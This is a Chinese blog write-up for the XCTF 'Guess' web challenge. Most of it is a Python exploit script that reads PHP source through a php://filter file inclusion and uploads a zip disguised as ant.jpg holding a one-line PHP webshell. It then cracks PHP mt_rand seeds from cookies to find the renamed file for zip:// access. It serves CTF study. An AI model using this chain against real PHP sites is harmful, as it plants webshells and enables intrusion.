攻防世界 xctf -Guess writeup

原创

小傅老师 于 2019-07-17 16:02:07 发布

本题的解析官网上有，这里是一个自动化的脚本，完成的是自动上传一个ant.jpg的文件（ant.jpg是一个ant.zip压缩包重命名的文件，里面是一个ant.php的一句话木马）。运行返回的是在web后台这个文件重命名后的文件的url。可通过zip伪协议访问这个木马。

这个脚本运行需要3个在linux下运行的脚本文件（因为php伪随机数的破解用了一些工具，还有一些php代码）。脚本文件有：猜解随机数种子的php_seed_mt可执行文件，name.php的php文件，pojie2.php猜随机数的文件，这里我就不附上了。有需要这些文件的朋友可以在下方评论留言。

脚本如下：

```
import requests
import base64
import re
import os
import subprocess
from urllib3 import encode_multipart_formdata
cookies=""
url="http://111.198.29.45:55294/"
path="./ant.zip"
PHPSESSID="0"

#获取源码
def getcode():
    global url
    urlcode=url+"?page=php://filter/convert.base64-encode/resource=upload"
    r = requests.get(urlcode)
    #print r.text
    #print r.cookies
    return "code:\n"+base64.b64decode(re.search(r'Cgo8.*',r.text).group())
```

```
#上传指定的文件
def upload(path):
    global url
    global cookies
    urlupload=url+"?page=upload"
    print os.path.abspath(path)
    filename="ant.jpg"
    data={}
    data["submit"]="Upload Image"
    data["file-upload-field"]=(filename,open(path,'rb').read())
    endata=encode_multipart_formdata(data)
    #print "endata"+endata[0]
    #print "hell"+endata[1]
    header={}
    header["Content-Type"]=endata[1]
    data=endata[0]
    r = requests.post(urlupload,data=data,headers=header)
    if "Upload successfully" in r.text:
        print "successfull upload File"
        print re.search(r"Upload successfully.*\n",r.text).group()
        print r.cookies
        cookies=r.cookies
    else:
        print "fail upload"
        print r.text
```

```
#猜解后台文件名
def guess():
    global cookies
    #print cookies
    cookiesText=cookies['PHPSESSID']
    cookiesSession=cookies['SESSI0N']
    #print cookiesText
    #content='''
    #'''
    #file=open("gusss.sh","ab")
    #file.write(content)
    #file.close()
    cmd="cd ~/phpDocument/;php pojie2.php "+cookiesSession+" "+cookiesText
    print cmd
    output=subprocess.check_output(cmd,stderr=subprocess.STDOUT,shell=True)
    print output
    srand=re.search(r'successful.*',output).group()[10:]
    cmd2="cd /opt/php_mt_seed-4.0/;./php_mt_seed "+srand
    print "rand"+srand
    print cmd2
    output2=subprocess.check_output(cmd2,stderr=subprocess.STDOUT,shell=True)
    print "sucessee find seed"
    print re.findall(r'seed =.*',output2)
    for i in re.findall(r'seed=.*',output2):
        cmd3="cd ~/phpDocument/;php name.php "+i.split('=')[2]
        os.system(cmd3)
    return 0
#tips:getcode,create code.txt in current document
content=getcode()
#file=open("code.txt","ab")
#file.write(content)
upload(path)
guess()
```